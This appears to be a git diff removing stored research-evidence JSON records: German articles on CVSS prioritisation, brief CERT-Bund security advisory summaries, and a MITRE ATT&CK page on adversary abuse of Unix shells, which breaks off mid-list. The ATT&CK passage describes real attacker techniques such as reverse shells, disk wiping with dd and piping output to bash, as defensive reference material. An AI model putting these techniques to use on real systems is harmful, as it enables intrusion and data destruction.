Maßnahmen ist von entscheidender Bedeutung. Die Klarheit und Vollständigkeit von CVSS 4.0 machen es zu einem hervorragenden Werkzeug für die Berichterstattung und Kommunikation über Cybersicherheitsrisiken an Stakeholder auf allen Ebenen.\n\nCVSS 4.0 stellt einen Paradigmenwechsel in der Art und Weise dar, wie wir mit Cybersicherheitsschwachstellen umgehen. Die Integration von CVSS 4.0 in den Lebenszyklus des Cyber-Risikomanagements , seine Ausrichtung auf ein risikobasiertes Schwachstellenmanagement und sein Beitrag zu CCRSS sind von unschätzbarem Wert für Unternehmen, die ihre digitalen Assets in einer zunehmend komplexen Cyber-Landschaft schützen wollen. Als Cybersicherheitsexperten wird es nicht nur empfohlen, CVSS 4.0 anzunehmen und sich daran anzupassen. Sie ist unerlässlich, um unsere Cybersicherheitsstrategien zukunftssicher zu machen.\n\nGefällt mir\n\nGefällt mir\n\nApplaus\n\nUnterstütze ich\n\nWunderbar\n\nInspirierend\n\nLustig\n\nKommentar\n\nKopieren\n\nLinkedIn\n\nFacebook\n\nTeilen\n\n66\n\n3 Kommentare\n\nDennis Rietberg\n\n2 Jahre\n\nDiesen Kommentar melden\n\nExciting advancements in cybersecurity risk management! Understanding CVSS 4.0 is key in staying ahead. 🔒\n\nGefällt mir\n\nAntworten\n\n1 Reaktion\n\n2 Reaktionen\n\nArif Nota\n\n2 Jahre\n\nDiesen Kommentar melden\n\nAbsolutely crucial for staying ahead in the cyber landscape! #CyberSecCommunity\n\nGefällt mir\n\nAntworten\n\n1 Reaktion\n\n2 Reaktionen\n\nJose Luis Jimenez\n\n2 Jahre\n\nDiesen Kommentar melden\n\nExactly!!\n\nGefällt mir\n\nAntworten\n\n1 Reaktion\n\n2 Reaktionen\n\nWeitere Kommentare anzeigen\n\nZum Anzeigen oder Hinzufügen von Kommentaren einloggen\n\nEbenfalls angesehen\n\nModelle zur Quantifizierung von Cyberrisiken: FAIR™ vs. GRAACE™\n\nBill Frank\n\n2 Jahre\n\nDer ultimative Leitfaden für eine intelligentere Patch-Berichterstattung\n\nCertbar Security\n\n1 Jahr\n\nNutzung von NIST CSF 2.0 mit Sicherheitskennzahlen: Transformation des Cyber-Risikomanagements\n\nKal Perwaz\n\n1 Jahr", - "content_type": "text/html", - "query": "Welche Rolle spielt CVSS 4.0 bei der Priorisierung von Sicherheitsrisiken in der Praxis?", - "language": "de-DE", - "round": 1, - "fetched": true, - "relevant": true, - "relevance": 0.8300000000000001, - "source_quality": "community", - "source_quality_score": 0.5, - "actionable": true, - "covered_gap_ids": [ - "AR-d1cab195-2" - ], - "assessment_reason": "Der Artikel beschreibt die Rolle von CVSS 4.0 bei der Priorisierung von Sicherheitsrisiken in der Praxis, insbesondere im Kontext des risikobasierten Schwachstellenmanagements. Er erwähnt die Verbesserungen der Version 4.0, wie feinere Granularität, neue Metriken und die Integration in Systeme wie CCRSS. Der Inhalt ist relevant, aber der Text ist maschinell übersetzt und enthält potenzielle Ungenauigkeiten." - } -} diff --git a/data/research-evidence/41797c99c3078211047efbf5.json b/data/research-evidence/41797c99c3078211047efbf5.json deleted file mode 100644 index d1b9db0..0000000 --- a/data/research-evidence/41797c99c3078211047efbf5.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:50:42.4590716Z", - "content_sha256": "d837eb9194c6c08683cf91eff60d746063d786e89a8fc5ec75f02364e72534be", - "result": { - "title": "[UPDATE] [hoch] Red Hat Ansible Automation Platform (node-tar, linkify-it, protobufjs, brace-expansion, fast-uri, DOMPurify): Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2452", - "snippet": "Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in Red Hat Ansible Automation Platform ausnutzen, um Sicherheitsmaßnahmen zu umgehen, Cross-Site-Scripting-Angriffe durchzuführen, Daten zu manipulieren, einen Denial-of-Service-Zustand auszulösen oder beliebigen Code auszuführen.", - "content": "Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in Red Hat Ansible Automation Platform ausnutzen, um Sicherheitsmaßnahmen zu umgehen, Cross-Site-Scripting-Angriffe durchzuführen, Daten zu manipulieren, einen Denial-of-Service-Zustand auszulösen oder beliebigen Code auszuführen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.640870060556384, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/4363017ee50c81b7ad87a966.json b/data/research-evidence/4363017ee50c81b7ad87a966.json deleted file mode 100644 index e37e550..0000000 --- a/data/research-evidence/4363017ee50c81b7ad87a966.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:30:37.9824695Z", - "content_sha256": "fa88908afaad334746da7c3533bbd0e715beadc60863511278a7284aafd6496b", - "result": { - "title": "[UPDATE] [hoch] Linux Kernel: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2077", - "snippet": "Ein entfernter Angreifer kann mehrere Schwachstellen im Linux Kernel ausnutzen, um Sicherheitsvorkehrungen zu umgehen, einen Denial-of-Service-Zustand herbeizuführen und weitere, nicht näher spezifizierte Auswirkungen zu erzielen.", - "content": "Ein entfernter Angreifer kann mehrere Schwachstellen im Linux Kernel ausnutzen, um Sicherheitsvorkehrungen zu umgehen, einen Denial-of-Service-Zustand herbeizuführen und weitere, nicht näher spezifizierte Auswirkungen zu erzielen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.7207159842807684, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/4535cbb519ddb8ba4e54b2d5.json b/data/research-evidence/4535cbb519ddb8ba4e54b2d5.json deleted file mode 100644 index d69c43c..0000000 --- a/data/research-evidence/4535cbb519ddb8ba4e54b2d5.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:32:51.9407037Z", - "content_sha256": "cfd5f91321702fd1cbf7319a3d876d95f788150add6fc9fef38a79365f801b10", - "result": { - "title": "[UPDATE] [hoch] Linux Kernel: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-1700", - "snippet": "Ein Angreifer kann mehrere Schwachstellen im Linux Kernel ausnutzen, um einen Denial of Service Angriff durchzuführen oder andere nicht näher spezifizierte Auswirkungen zu erzielen.", - "content": "Ein Angreifer kann mehrere Schwachstellen im Linux Kernel ausnutzen, um einen Denial of Service Angriff durchzuführen oder andere nicht näher spezifizierte Auswirkungen zu erzielen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.7079009324307353, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/48cbccfc7fe7e2cd5c142207.json b/data/research-evidence/48cbccfc7fe7e2cd5c142207.json deleted file mode 100644 index 92d4b5e..0000000 --- a/data/research-evidence/48cbccfc7fe7e2cd5c142207.json +++ /dev/null @@ -1,25 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T22:11:17.4635182Z", - "content_sha256": "f8056ff472dc989e9e7b26f618b64559a3ec9b68069441019b4a6b524b432e7f", - "result": { - "title": "CVSS-Score und Risiko-Bewertung: Sicherheitsrisiken effizient einstufen | IT-Sicherheitsmeldungen Teil 2 – Comp4U GmbH", - "url": "https://www.comp4u.de/unternehmen/fachbeitraege/it-grundlagen/cvss-score-und-risiko-bewertung-sicherheitsrisiken-effizient-einstufen-it-sicherheitsmeldungen-teil-2", - "snippet": "Die Bewertung und Priorisierung von Sicherheitsrisiken ist ein komplexer Prozess, bei dem der CVSS-Score eine zentrale Rolle spielt. Um die Sicherheit Ihrer IT-Infrastruktur zu gewährleisten, sollten Sie diesen jedoch immer im Kontext weiterer Faktoren betrachten.", - "content": "Fachbeiträge\n\nNeuigkeiten zu IT-Themen und Comp4U\n\nJetzt Kontakt aufnehmen!\n\nCVSS-Score und Risiko-Bewertung: Sicherheitsrisiken effizient einstufen | IT-Sicherheitsmeldungen Teil 2\n\nIT-Grundlagen\n\n28. März 2025\n\nIn der IT-Sicherheit ist es entscheidend, Schwachstellen und Risiken schnell zu bewerten, um effektive Schutzmaßnahmen priorisieren zu können. Der CVSS-Score bietet dafür eine standardisierte Grundlage, ist jedoch nur ein Teil der gesamten Risikoanalyse. In diesem Beitrag zeigen wir, wie der CVSS-Score in Kombination mit weiteren Kriterien sinnvoll eingesetzt wird, um Sicherheitsrisiken zu bewerten und gezielt darauf zu reagieren.\n\nWas ist der CVSS-Score?\n\nDer Common Vulnerability Scoring System (CVSS) ist ein global anerkannter Standard zur Bewertung von Schwachstellen. Er hilft IT-Teams und Entscheidungsträgern, Risiken einzuschätzen und Maßnahmen nach ihrer Dringlichkeit zu priorisieren.\n\nDie Skala reicht von 0.0 bis 10.0 , wobei ein höherer Wert eine größere Bedrohung signalisiert. Die CVSS-Bewertung wird in drei Stufen unterteilt:\n\nBasis-Metriken : Beschreiben, wie leicht eine Schwachstelle ausgenutzt werden kann und welche Auswirkungen sie hat.\n\nTemporäre Metriken : Berücksichtigen Faktoren wie die Verfügbarkeit von Exploits oder vorläufigen Patches.\n\nUmgebungsmetriken : Passen die Bewertung an die spezifische IT-Infrastruktur eines Unternehmens an.\n\nEin Beispiel: Eine Schwachstelle mit einem CVSS-Score von 9.8 deutet auf ein kritisches Risiko hin, insbesondere wenn sie aus der Ferne ohne Authentifizierung ausnutzbar ist.\n\nDie Skala im Detail\n\nDer CVSS-Score wird in vier Kategorien unterteilt, die den Schweregrad einer Schwachstelle anzeigen. Diese Kategorien helfen, Risiken schnell zu bewerten und priorisieren:\n\nNiedrig (0.0 – 3.9):\nSchwachstellen in diesem Bereich stellen nur ein geringes Risiko dar. Sie erfordern meist besondere Bedingungen, um ausgenutzt zu werden, oder haben nur minimale Auswirkungen. Ein Beispiel wäre ein Bug, der nur bei sehr spezifischen Systemkonfigurationen auftritt und keine Daten oder Funktionen beeinträchtigt.\n\nMittel (4.0 – 6.9):\nHier geht es um Schwachstellen, die zwar ausnutzbar sind, aber keine gravierenden Schäden verursachen. Ein typisches Beispiel wäre ein Problem, das Zugriff auf unkritische Systeme ermöglicht, ohne die Kerninfrastruktur zu gefährden. Unternehmen sollten diese Schwachstellen beheben, um die Angriffsfläche zu reduzieren, aber sie haben in der Regel keine hohe Priorität.\n\nHoch (7.0 – 8.9):\nSchwachstellen in dieser Kategorie sind potenziell gefährlich und können erhebliche Folgen haben, wenn sie ausgenutzt werden. Dazu gehören etwa Schwachstellen, die es Angreifern ermöglichen, sensible Daten zu lesen oder eingeschränkten Zugriff auf ein System zu erhalten. Beispielsweise könnte ein Angreifer durch einen Buffer Overflow bestimmte Funktionen eines Systems manipulieren.\n\nKritisch (9.0 – 10.0):\nDiese Schwachstellen stellen das höchste Risiko dar und erfordern sofortige Maßnahmen. Häufig sind sie leicht ausnutzbar, wirken sich schwerwiegend aus und können von Angreifern aus der Ferne ohne Authentifizierung ausgenutzt werden. Ein Beispiel ist eine Zero-Day-Schwachstelle in einer weit verbreiteten Software, bei der bereits Exploits existieren.\n\nDiese Kategorien dienen als Orientierungshilfe, sollten aber stets im Kontext der eigenen IT-Landschaft betrachtet werden.\n\nWarum der CVSS-Score allein nicht ausreicht\n\nDer CVSS-Score liefert eine objektive Grundlage zur Bewertung von Schwachstellen. Doch die Realität in Unternehmen ist oft komplexer, sodass weitere Faktoren einbezogen werden müssen:\n\nKontextabhängigkeit:\nEine Schwachstelle mit einem niedrigen CVSS-Score kann kritischer sein, wenn sie in einem zentralen System auftritt, wie beispielsweise in einer Finanzanwendung oder einem Authentifizierungsserver. Hier ist es wichtig, die Business-Relevanz zu bewerten, um die tatsächliche Dringlichkeit zu bestimmen.\n\nIndicators of Compromise (IoCs):\nDiese Indikatoren, wie verdächtige IP-Adressen oder Datei-Hashes, können darauf hinweisen, dass eine Schwachstelle aktiv ausgenutzt wird. Ein Beispiel wäre ein bekanntes Malware-Muster, das in einem Unternehmensnetzwerk erkannt wird. Wenn IoCs vorhanden sind, sollte die Schwachstelle sofort priorisiert werden.\n\nBusiness-Kritikalität:\nAuch Systeme, die geschäftskritische Prozesse unterstützen, wie ERP- oder CRM-Systeme, müssen bei der Priorisierung berücksichtigt werden. Selbst eine Schwachstelle mit mittlerem CVSS-Score kann hier erhebliche Auswirkungen haben, wenn der Betrieb dieser Systeme beeinträchtigt wird.\n\nEmpfohlene Ansätze zur Bewertung von Risiken\n\nEine fundierte Bewertung von Risiken erfordert die Kombination verschiedener Ansätze, um ein vollständiges Bild zu erhalten:\n\nKombinierte Risikoanalyse:\nDer CVSS-Score sollte als Grundlage genutzt werden, ergänzt durch interne Analysen, die die spezifischen Anforderungen der eigenen IT-Infrastruktur berücksichtigen. Zum Beispiel könnte eine Schwachstelle in einem Backup-System trotz eines moderaten Scores priorisiert werden, da sie die Wiederherstellung im Notfall gefährden könnte.\n\nPriorisierung durch Automatisierung:\nTools wie Schwachstellen-Scanner oder SIEM-Systeme können den CVSS-Score mit IoCs und Umgebungsdaten kombinieren, um Priorisierungen automatisch zu erstellen. Diese Tools reduzieren den manuellen Aufwand und sorgen für konsistente Entscheidungen.\n\nRegelmäßige Updates und Überwachung:\nSchwachstellenbewertungen sind nicht statisch. Neue Exploits oder Veränderungen in der IT-Landschaft können die Priorität einer Schwachstelle erhöhen. Ein Beispiel ist eine temporär kritische Schwachstelle, die durch einen neuen Exploit plötzlich gefährlich wird.\n\nBest Practices für Unternehmen\n\nUm Sicherheitsrisiken effektiv zu managen, sollten Unternehmen klare Prozesse etablieren:\n\nSchwachstellen priorisieren:\nLegen Sie fest, welche Kriterien für Ihr Unternehmen entscheidend sind. Dies kann die Kombination aus CVSS-Score, IoCs und interner Kritikalität sein. Ein strukturiertes Framework sorgt für klare Entscheidungen, welche Maßnahmen zuerst umgesetzt werden müssen.\n\nTransparente Kommunikation:\nNutzen Sie Berichte, die verständlich und standardisiert sind, um Risiken intern zu kommunizieren. Beispielsweise können farbcodierte Risikoeinstufungen oder einfache Dashboards dazu beitragen, den Handlungsbedarf klar darzustellen.\n\nZusammenarbeit mit Herstellern:\nBleiben Sie mit den Herstellern Ihrer eingesetzten Software im Austausch. Sicherheitsmeldungen von Herstellern enthalten oft zusätzliche Details, wie verfügbare Mitigationen oder spezifische Update-Empfehlungen, die den CVSS-Score ergänzen.\n\nFazit\n\nDie Bewertung und Priorisierung von Sicherheitsrisiken ist ein komplexer Prozess, bei dem der CVSS-Score eine zentrale Rolle spielt. Um die Sicherheit Ihrer IT-Infrastruktur zu gewährleisten, sollten Sie diesen jedoch immer im Kontext weiterer Faktoren betrachten.\n\nIm nächsten Beitrag der Blogreihe werden wir uns ausführlich mit den Indicators of Compromise (IoCs) befassen und zeigen, wie diese genutzt werden können, um Angriffe frühzeitig zu erkennen und gezielt darauf zu reagieren.\n\nBenötigen Sie Unterstützung bei der Bewertung und Priorisierung von Sicherheitsrisiken in Ihrer IT-Umgebung?\nDas Team von Comp4U steht Ihnen gerne beratend zur Seite:\n\nTel: 06103 9707-500\nE-Mail: Diese E-Mail-Adresse ist vor Spambots geschützt! Zur Anzeige muss JavaScript eingeschaltet sein.\n\nIT-Sicherheitsmeldungen\n\nIT-Sicherheitsmeldungen - Alle Beiträge\n\nGrundlagen und Aufbau: Wie IT-Sicherheitsmeldungen strukturiert sind | IT-Sicherheitsmeldungen Teil 1\n\n26.03.2025\n\nCVSS-Score und Risiko-Bewertung: Sicherheitsrisiken effizient einstufen | IT-Sicherheitsmeldungen Teil 2\n\n28.03.2025\n\nIndicators of Compromise: Bedrohungen frühzeitig erkennen | IT-Sicherheitsmeldungen Teil 3\n\n31.03.2025\n\nMitigation und Fixes: Sofortige Reaktion und nachhaltige Sicherheit | IT-Sicherheitsmeldungen Teil 4\n\n01.04.2025\n\nTraffic Light Protocol: Vertraulichkeit sicher und gezielt steuern | IT-Sicherheitsmeldungen Teil 5\n\n02.04.2025\n\nAdresse\n\nComp4U GmbH\nRobert-Bosch-Str. 5\n63225 Langen\n\nKontakt\n\nTel: +49 (0) 6103-9707-500\nE-Mail: info@comp4u.de\nKontakt aufnehmen\n\nFernwartung\n\nFernwartung für Windows\n\nFernwartung für Mac-OS", - "content_type": "text/html", - "query": "Welche Rolle spielt CVSS 4.0 bei der Priorisierung von Sicherheitsrisiken in der Praxis?", - "language": "de-DE", - "round": 1, - "fetched": true, - "relevant": true, - "relevance": 0.76, - "source_quality": "reputable_secondary", - "source_quality_score": 0.7440000000000001, - "actionable": true, - "covered_gap_ids": [ - "AR-d1cab195-2" - ], - "assessment_reason": "Der Beitrag erklärt detailliert, wie CVSS-Scores in der Praxis eingesetzt werden, um Sicherheitsrisiken zu bewerten und zu priorisieren. Er beschreibt die Skala, die Kategorien und die Bedeutung der CVSS-Bewertung. Der Inhalt ist direkt relevant für die Frage, aber der Fokus liegt auf CVSS 3.0, nicht auf CVSS 4.0." - } -} diff --git a/data/research-evidence/4956b7dba9bdc13a4fdb3ab9.json b/data/research-evidence/4956b7dba9bdc13a4fdb3ab9.json deleted file mode 100644 index bcf1c9b..0000000 --- a/data/research-evidence/4956b7dba9bdc13a4fdb3ab9.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:53:50.5805009Z", - "content_sha256": "ef7f0978a307036aef704a1eb7eeb065258e045b616a7ec248e0fa90f66939a0", - "result": { - "title": "[UPDATE] [hoch] cPanel cPanel/WHM (Archive-Tar): Mehrere Schwachstellen ermöglichen Manipulation von Dateien", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2666", - "snippet": "Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in cPanel cPanel/WHM ausnutzen, um vertrauliche Informationen preiszugeben oder Daten zu manipulieren.", - "content": "Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in cPanel cPanel/WHM ausnutzen, um vertrauliche Informationen preiszugeben oder Daten zu manipulieren.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6320037424840383, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/4b1811ca96f4c1e2edd6cb16.json b/data/research-evidence/4b1811ca96f4c1e2edd6cb16.json deleted file mode 100644 index bc11429..0000000 --- a/data/research-evidence/4b1811ca96f4c1e2edd6cb16.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:31:37.2956786Z", - "content_sha256": "a13a64dbdaa76dbc823b93ee1b8f5dd4cb81342a4af187dd40de510952c78b7e", - "result": { - "title": "[UPDATE] [mittel] Linux Kernel: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-1454", - "snippet": "Ein Angreifer kann mehrere Schwachstellen im Linux Kernel ausnutzen, um einen nicht näher spezifizierten Angriff durchzuführen, möglicherweise Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren oder offenzulegen oder einen Denial-of-Service-Zustand zu verursachen.", - "content": "Ein Angreifer kann mehrere Schwachstellen im Linux Kernel ausnutzen, um einen nicht näher spezifizierten Angriff durchzuführen, möglicherweise Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren oder offenzulegen oder einen Denial-of-Service-Zustand zu verursachen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.7113540728224663, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/4e65b0e38ecca5f96fb38f16.json b/data/research-evidence/4e65b0e38ecca5f96fb38f16.json deleted file mode 100644 index 4e98254..0000000 --- a/data/research-evidence/4e65b0e38ecca5f96fb38f16.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:41:37.6117213Z", - "content_sha256": "86c2b52306e79de8defb82a51bf60bc65916078dcc9be249db0276326f3caf23", - "result": { - "title": "Veeam One und Service Provider Console für Schadcode-Attacken anfällig", - "url": "https://www.heise.de/news/Veam-One-und-Service-Provider-Console-fuer-Schadcode-Attacken-anfaellig-11400855.html", - "snippet": "Die Backupmanagementlösungen Veeam One und Service Provider Console sind für verschiedene Attacken empfänglich. Sicherheitsupdates schaffen Abhilfe.", - "content": "Die Backupmanagementlösungen Veeam One und Service Provider Console sind für verschiedene Attacken empfänglich. Sicherheitsupdates schaffen Abhilfe.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6771852213584544, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/5319f4569c0ef996ffe4ca70.json b/data/research-evidence/5319f4569c0ef996ffe4ca70.json deleted file mode 100644 index 145d824..0000000 --- a/data/research-evidence/5319f4569c0ef996ffe4ca70.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:56:07.6291821Z", - "content_sha256": "493288b7100ca40155de5bb6f5a5a1d9e2c5e5aba18afd4cf57d30a2cc539e91", - "result": { - "title": "[UPDATE] [hoch] AMD Prozessor: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-1482", - "snippet": "Ein Angreifer kann mehrere Schwachstellen in AMD Prozessor ausnutzen, um seine Privilegien zu erhöhen, beliebigen Code auszuführen – sogar mit Administratorrechten –, Daten zu manipulieren, vertrauliche Informationen offenzulegen oder einen Denial-of-Service-Zustand herbeizuführen.", - "content": "Ein Angreifer kann mehrere Schwachstellen in AMD Prozessor ausnutzen, um seine Privilegien zu erhöhen, beliebigen Code auszuführen – sogar mit Administratorrechten –, Daten zu manipulieren, vertrauliche Informationen offenzulegen oder einen Denial-of-Service-Zustand herbeizuführen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6174007612520149, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/5630236acbe0a6afb5a538c4.json b/data/research-evidence/5630236acbe0a6afb5a538c4.json deleted file mode 100644 index 94799dc..0000000 --- a/data/research-evidence/5630236acbe0a6afb5a538c4.json +++ /dev/null @@ -1,25 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-09T03:29:27.509047Z", - "content_sha256": "3217a21dfe3a4b297a0989a667e2e34f4b5da3752a21d82576a0c3407bb1f9e7", - "result": { - "title": "Command and Scripting Interpreter: Unix Shell, Sub-technique T1059.004 - Enterprise | MITRE ATT\u0026CK®", - "url": "https://attack.mitre.org/techniques/T1059/004/", - "snippet": "Unix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems.", - "content": "Command and Scripting Interpreter: Unix Shell, Sub-technique T1059.004 - Enterprise | MITRE ATT\u0026CK®\n\nATT\u0026CKcon 7.0 in-person tickets are open! Join us October 27-28, 2026 in McLean, VA. Register here for in-person tickets; hotel and location details can be found in the FAQ .\n\nHome\n\nTechniques\n\nEnterprise\n\nCommand and Scripting Interpreter\n\nUnix Shell\n\nCommand and Scripting Interpreter:\nUnix Shell\n\nOther sub-techniques of Command and Scripting Interpreter\n(13)\n\nID\n\nName\n\nT1059.001\n\nPowerShell\n\nT1059.002\n\nAppleScript\n\nT1059.003\n\nWindows Command Shell\n\nT1059.004\n\nUnix Shell\n\nT1059.005\n\nVisual Basic\n\nT1059.006\n\nPython\n\nT1059.007\n\nJavaScript\n\nT1059.008\n\nNetwork Device CLI\n\nT1059.009\n\nCloud API\n\nT1059.010\n\nAutoHotKey \u0026 AutoIT\n\nT1059.011\n\nLua\n\nT1059.012\n\nHypervisor CLI\n\nT1059.013\n\nContainer CLI/API\n\nAdversaries may abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux, macOS, and ESXi systems, though many variations of the Unix shell exist (e.g. sh, ash, bash, zsh, etc.) depending on the specific OS or distribution. [1] [2] Unix shells can control every aspect of a system, with certain commands requiring elevated privileges.\n\nUnix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\n\nAdversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with SSH . Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence.\n\nSome systems, such as embedded devices, lightweight Linux distributions, and ESXi servers, may leverage stripped-down Unix shells via Busybox, a small executable that contains a variety of tools, including a simple shell.\n\nID: T1059.004\n\nSub-technique of:\nT1059\n\nTactic:\nExecution\n\nPlatforms: ESXi, Linux, Network Devices, macOS\n\nVersion: 1.4\n\nCreated: 09 March 2020\n\nLast Modified: 12 May 2026\n\nVersion Permalink\n\nLive Version\n\nProcedure Examples\n\nID\n\nName\n\nDescription\n\nC0063\n\n2025 Poland Wiper Attacks\n\nDuring the 2025 Poland Wiper Attacks , the adversaries utilized the Linux dd command to overwrite portions of the disks with random data. [3]\n\nS0504\n\nAnchor\n\nAnchor can execute payloads via shell scripting. [4]\n\nS0584\n\nAppleJeus\n\nAppleJeus has used shell scripts to execute commands after installation and set persistence mechanisms. [5] [6]\n\nG0096\n\nAPT41\n\nAPT41 used Linux shell commands for system survey and information gathering prior to exploitation of vulnerabilities such as CVE-2019-19871. [7]\n\nG0143\n\nAquatic Panda\n\nAquatic Panda used malicious shell scripts in Linux environments following access via SSH to install Linux versions of Winnti malware. [8]\n\nS1184\n\nBOLDMOVE\n\nBOLDMOVE is capable of spawning a remote command shell. [9]\n\nS1161\n\nBPFDoor\n\nBPFDoor can create a reverse shell and supports vt100 emulator formatting. [10]\n\nS9015\n\nBRICKSTORM\n\nBRICKSTORM has executed shell commands using /bin/sh . [11]\n\nS0482\n\nBundlore\n\nBundlore has leveraged /bin/sh and /bin/bash to execute commands on the victim machine. [12]\n\nS0077\n\nCallMe\n\nCallMe has the capability to create a reverse shell on victims. [13]\n\nS9042\n\nCanisterWorm\n\nCanisterWorm has used shell commands to enable and start the malicious systemd service for execution and persistence. [14] [15]\n\nS1224\n\nCASTLETAP\n\nCASTLETAP has the ability to spawn BusyBox command shell in victim environments. [16]\n\nS0220\n\nChaos\n\nChaos provides a reverse shell connection on 8338/TCP, encrypted via AES. [17]\n\nS1105\n\nCOATHANGER\n\nCOATHANGER provides a BusyBox reverse shell for command and control. [18]\n\nS0369\n\nCoinTicker\n\nCoinTicker executes a bash script to establish a reverse shell. [19]\n\nG1052\n\nContagious Interview\n\nContagious Interview has targeted macOS victim hosts using a bash downloader coremedia.sh and a bash script cloud.sh. [20]\n\nS0492\n\nCookieMiner\n\nCookieMiner has used a Unix shell script to run a series of commands targeting macOS. [21]\n\nS1153\n\nCuckoo Stealer\n\nCuckoo Stealer can spawn a bash shell to enable execution on compromised hosts. [22]\n\nS0021\n\nDerusbi\n\nDerusbi is capable of creating a remote Bash shell and executing commands. [23] [24]\n\nS0600\n\nDoki\n\nDoki has executed shell scripts with /bin/sh. [25]\n\nS0502\n\nDrovorub\n\nDrovorub can execute arbitrary commands as root on a compromised system. [26]\n\nS0377\n\nEbury\n\nEbury can use the commands Xcsh or Xcls to open a shell with Ebury level permissions and Xxsh to open a shell with root level. [27]\n\nS0401\n\nExaramel for Linux\n\nExaramel for Linux has a command to execute a shell command on the system. [28] [29]\n\nC0053\n\nFLORAHOX Activity\n\nFLORAHOX Activity has executed multiple Bash controller scripts to provide command line inputs for FLORAHOX traversal configurations. [30]\n\nS0410\n\nFysbis\n\nFysbis has the ability to create and execute commands in a remote shell for CLI. [31]\n\nS1198\n\nGomir\n\nGomir reads command line arguments and parses them for functionality when executed from a Linux shell, and can execute arbitrary strings passed to it as shell commands. [32]\n\nS0690\n\nGreen Lambert\n\nGreen Lambert can use shell scripts for execution, such as /bin/sh -c . [33] [34]\n\nS0601\n\nHildegard\n\nHildegard has used shell scripts for execution. [35]\n\nS1203\n\nJ-magic\n\nThe J-magic agent is executed through a command line argument which specifies an interface and listening port. [36]\n\nS0265\n\nKazuar\n\nKazuar uses /bin/bash to execute commands on the victim’s machine. [37]\n\nS0599\n\nKinsing\n\nKinsing has used Unix shell scripts to execute commands in the victim environment. [38]\n\nS0641\n\nKobalos\n\nKobalos can spawn a new pseudo-terminal and execute arbitrary commands at the command prompt. [39]\n\nC0035\n\nKV Botnet Activity\n\nKV Botnet Activity utilizes multiple Bash scripts during botnet installation stages, and the final botnet payload allows for running commands in the Bash shell. [40]\n\nS0451\n\nLoudMiner\n\nLoudMiner used shell scripts to launch various services and to start/stop the QEMU virtualization. [41]\n\nS1016\n\nMacMa\n\nMacMa can execute supplied shell commands and uses bash scripts to perform additional actions. [42] [43]\n\nS0198\n\nNETWIRE\n\nNETWIRE has the ability to use /bin/bash and /bin/sh to execute commands. [44] [45]\n\nS1107\n\nNKAbuse\n\nNKAbuse is initially installed and executed through an initial shell script. [46]\n\nC0048\n\nOperation MidnightEclipse\n\nDuring Operation MidnightEclipse , threat actors piped output from stdout to bash for execution. [47] 